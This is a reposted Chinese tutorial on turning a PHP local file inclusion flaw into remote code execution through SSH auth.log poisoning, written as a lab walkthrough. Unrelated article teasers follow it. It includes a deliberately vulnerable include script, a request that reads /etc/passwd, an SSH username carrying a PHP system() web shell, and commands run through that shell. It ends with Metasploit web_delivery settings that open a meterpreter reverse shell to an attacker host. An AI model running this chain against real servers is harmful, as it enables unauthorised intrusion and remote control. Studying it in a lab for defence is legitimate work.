【PHP攻防】带有 LFI 和 SSH 日志中毒的 RCE

news/2025/3/12 18:54:26/文章来源:https://www.cnblogs.com/o-O-oO/p/18768253

免责声明

此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!

在本文中,您将了解如何在身份验证日志文件的帮助下,在 Web 服务器遭受本地文件包含漏洞的情况下对其进行未经授权的访问。

环境搭建

攻击者:Kali Linux
目标:Ubuntu

创建一个 PHP 文件,允许用户通过文件参数包含文件。因此,使用文件参数我们可以执行包含恶意代码的文件,从而对目标 PC 进行未经授权的访问。

<?php $file = $_GET['file']; if(isset($file)) { include("$file"); } else { include("index.php"); } ?>

我已将下面的 PHP 代码保存为文本文件 lfi.php ,并保存在桌面上。

现在以“root”用户身份登录并在/var/www/html内创建文件夹“lfi”

cd /var/www/html 
mkdir lfi

使用以下命令将lfi.php 文件从桌面移动到 /var/www/html。

mv /home/raj/Desktop/lfi.php。

由于我们在 /var/www/html 中添加了一个带有 include 函数的 php 文件,因此可以通过它读取另一个文件的内容,并可能导致 LFI 攻击。让我们通过探索以下 URL 来读取密码文件来演示这一点:

localhost/lfi/lfi.php?file=/etc/passwd

从给定的图像中您可以观察到上述 URL 已转储如下所示的结果。

在 Kali Linux 中打开终端并通过 SSH 服务连接目标

ssh user@192.168.1.129

从截图中您可以看到我已与目标系统连接。

键入以下命令来查看其日志:

tail -f /var/log/auth.log

从下图中您可以检查 auth.log 文件生成的日志的详细信息。

现在我将尝试通过浏览器上的 lfi.php 打开 auth.log 日志文件,因此,授予读写权限

cd /var/log/ 
chmod 775 auth.log

现在将 auth.log 文件作为文件参数包含在内,并在浏览器中提供以下 URL。

192.168.1.129/lfi/lfi.php?file=/var/log/auth.log

从给定的图像中您可以看到它也在浏览器中显示创建的身份验证日志。

因为当我们尝试连接 Web 服务器时,auth.log 文件会为每次成功和失败的登录尝试生成日志。利用此功能,我现在将以虚假用户的身份发送
恶意 PHP 代码,它将自动作为新日志添加到 auth.log 文件中。

ssh'<?php system($_GET['c']); ?>'@192.168.1.129

再次检查其日志时,您会发现 PHP 代码已添加了新日志。

键入以下命令来查看其日志:

tail -f /var/log/auth.log

这里它将转储 auth.log 的数据并执行通过 cmd 给出的命令;现在执行

ifconfig

作为 cmd 命令来验证网络接口并从给定的屏幕截图中确认其结果。

192.168.1.129/lfi/lfi.php?file=/var/log/auth.log&c=ifconfig

如果您在任何 Web 应用程序中发现此类漏洞,那么您可以使用 Metasploit 平台来利用 Web 服务器。

msf exploit (web_delivery)>set target 1
msf exploit (web_delivery)> set payload php/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.1.123
msf exploit (web_delivery)>set srvport 8081
msf exploit (web_delivery)>exploit

复制下面窗口中显示的突出显示的文本

将上面复制的恶意代码粘贴到 URL 中,如给定图所示,并将 其 作为命令执行。

当上述代码执行时,您将获得目标 Web 服务器的 meterpreter 会话 1。

msf exploit (web_delivery)>sessions 1
meterpreter> sysinfo

原创 三沐数安

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/897809.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【最佳方案】RAG 技术深度剖析及 MaxKB 在企业 AI 落地中的应用策略

RAG 已经成为 LLM 大语言模型在企业落地的最佳方案,其中主要是因为 RAG 能够解决幻觉问题、时效性问题以及数据安全问题。解决幻觉问题:LLM 文本生成的底层原理是基于概率的 token by token 的形式,因此会不可避免地产生“一本正经的胡说八道"的情况。比如:你说,”博…

开源中国完成数亿元 C 轮融资:Gitee 加速智能化研发效能革新

开源中国近日宣布完成数亿元C轮融资,由北京信息产业发展投资基金领投,深报一本及上河动量跟投。本轮资金将用于加速Gitee在AI DevSecOps领域的创新,构建智能化研发效能解决方案,提升企业级用户的研发效率与安全性。目前,Gitee已服务36万企业用户,在金融、能源、政府等核心…

【ArcGIS】从数据导入到开始标注

1.点击 新建工程下面的地图2.找一个合适的位置新建项目3.右键地图,点击添加数据找到下载好的数据后点确认4.打开后图像会自动和地图对准,不用管5.下载群里的中印.ecs,在桌面找一个文件夹保存(不然可能在软件里找不到) 点击这里的浏览至现有方案,找到ecs文件会出现下面这五…

Windows 提权-内核利用_2

本文通过 Google 翻译 Kernel Exploits Part 2 – Windows Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。导航0 前言 1 新版 Windows 系统内核利用 2 搜寻内核漏洞2.1 枚举内核利用 - 手动 2.2 枚举内核利用 - 自动…

90%的开发者都忽略的文本向量化技巧!

1 啥是文本张量表示? 将一段文本使用张量表示,一般将词汇表示成向量,称作词向量,再由各个词向量按序组成矩阵形成文本表示,如: ["人生", "该", "如何", "起头"]==># 每个词对应矩阵中的一个向量 [[1.32, 4,32, 0,32, 5.2],[3…

北京大学!121页,讲透DeepSeek的私有化部署!(免费下载)

北京大学肖睿团队发布的《DeepSeek私有化部署技术白皮书》,系统揭示了国产大模型从实验室走向产业落地的完整路径。这份文档的核心价值,在于打破“私有化部署=高性能硬件堆砌”的固有认知,提出一套覆盖个人电脑、边缘设备到企业级集群的弹性部署体系。北京大学肖睿团队发布的…

网易伏羲人工智能实验室技术创新再突破!前馈捏脸等3篇论文入选CVPR 2025

近日,全球计算机视觉和模式识别领域的顶级会议CVPR (Conference on Computer Vision and Pattern Recognition)公布论文接收结果:网易伏羲人工智能实验室凭借其在前馈捏脸等领域的创新研究,成功入选3篇论文。CVPR 是计算机视觉和模式识别领域最顶级的学术会议之一,至今已…

html的基础操作2

1、表格标签(table语句) (1)认识表中的一些常用单词 border 边距 align 格式 ‘ center’ 对齐 cellspacing 单元格与单元格的距离 cellpadding 单元格与内容的距离 wedth 宽度 height 高度 tr 表示:行 th 表示:表头 td :表示列 -表格的案例--代码- <!DOCTYPE…

MySQL 去除 \n 斜杠n,\\n,\\\\n,mysql去除换行符

MySQL 去除 \n 斜杠n,\\n,\\\\n,mysql去除换行符 使用navicat查询数据可以看到字符\n,(这里的\n并不是换行符,而是字符,换行符是不可以看到的) 在查询数据的时候需要转义才能查询到(查询时斜杠的数量是实际数量的4倍,不然会查询异常)-- 错误写法 SELECT field FROM…

day:19 html实战3

一、表单标签 一、表单单词介绍: 表单标签格式:form action:开始网址 method:get和post等等 表单标签:主要用来收集用户输入信息如:登入、注册、搜索商品等 用户名格式:text (明文) 密码格式:password (密文) 性别:radio 性别格式 性别是单选,单选类型是radio,注…

希尔排序Shell Sort

Shell Sort希尔排序是一种分组插入排序 首先取一个整数d1=n/2,n为列表长度,将元素分为d1个组,每组相邻量的元素之间距离为d1,在各组内进行直接插入排序 去第二个整数d2=d1/2,重复上述分组排序过程,直到di=1,即所有元素在同一组内进行直接插入排序 希尔排序每趟并不使某些…